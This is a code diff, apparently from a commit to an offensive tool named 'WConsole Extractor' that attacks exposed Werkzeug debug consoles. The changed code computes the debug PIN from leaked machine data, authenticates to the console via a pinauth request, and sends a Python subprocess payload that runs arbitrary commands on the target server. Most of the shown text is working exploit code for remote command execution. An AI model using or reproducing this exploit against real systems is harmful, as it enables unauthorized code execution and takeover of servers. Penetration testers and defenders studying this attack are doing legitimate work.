|
4 | 4 | import hashlib
|
5 | 5 | from itertools import chain
|
6 | 6 | from bs4 import BeautifulSoup as bs
|
| 7 | +import json |
7 | 8 |
|
8 | 9 | from prompt_toolkit import PromptSession
|
9 | 10 | from prompt_toolkit.shortcuts import clear
|
@@ -89,6 +90,19 @@ def __init__(self, target:str, leak_function) -> None:
|
89 | 90 | self.pin_code = self.compute_pin()
|
90 | 91 | self.token = self.get_token(content)
|
91 | 92 |
|
| 93 | + if not self.authent(): |
| 94 | + message = f"""The computed PIN CODE is wrong\n |
| 95 | + \rThis behavior can have multiple causes: |
| 96 | + \r 1. Your leak function is not accurate |
| 97 | + \r 2. The target can have an uuid.getnode() different from the mac address found in /sys/class/net/<device_id>/address |
| 98 | + \r 3. WConsole Extractor is not up to date or has an issue (please report on tool's repository) |
| 99 | +
|
| 100 | + \rHere are the probably public bits: |
| 101 | + \r {self.probably_public_bits} |
| 102 | + \rHere are the private bits: |
| 103 | + \r {self.private_bits}""" |
| 104 | + error(message) |
| 105 | + |
92 | 106 | @staticmethod
|
93 | 107 | def parse_environ(environ:str):
|
94 | 108 | l = environ.split("\0")[:-1]
|
@@ -327,15 +341,23 @@ def get_token(self, token_request_content):
|
327 | 341 | error("Error while finding token")
|
328 | 342 |
|
329 | 343 | return token[0]
|
| 344 | + |
| 345 | + def authent(self): |
| 346 | + authent_path = f"/console?__debugger__=yes&cmd=pinauth&pin={self.pin_code}&s={self.token}" |
| 347 | + r = self.get(authent_path) |
| 348 | + |
| 349 | + try: |
| 350 | + state = json.loads(r.text) |
| 351 | + except: |
| 352 | + error("Error during authentication") |
| 353 | + return state["auth"] |
330 | 354 |
|
331 | 355 | def exec_cmd(self, cmd:str):
|
332 | 356 | argv = cmd.split(' ')
|
333 | 357 |
|
334 |
| - # Authentication |
335 |
| - authent_path = f"/console?__debugger__=yes&cmd=pinauth&pin={self.pin_code}&s={self.token}" |
336 |
| - self.get(authent_path) |
| 358 | + self.authent() |
337 | 359 |
|
338 |
| - payload = f"import subprocess; subprocess.Popen({argv}, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()" |
| 360 | + payload = f"import subprocess; subprocess.Popen({argv},stdout=subprocess.PIPE,stderr=subprocess.STDOUT).communicate()" |
339 | 361 | url = f"/console?__debugger__=yes&cmd={payload}&frm=0&s={self.token}"
|
340 | 362 | res = self.get(url)
|
341 | 363 |
|
|
0 commit comments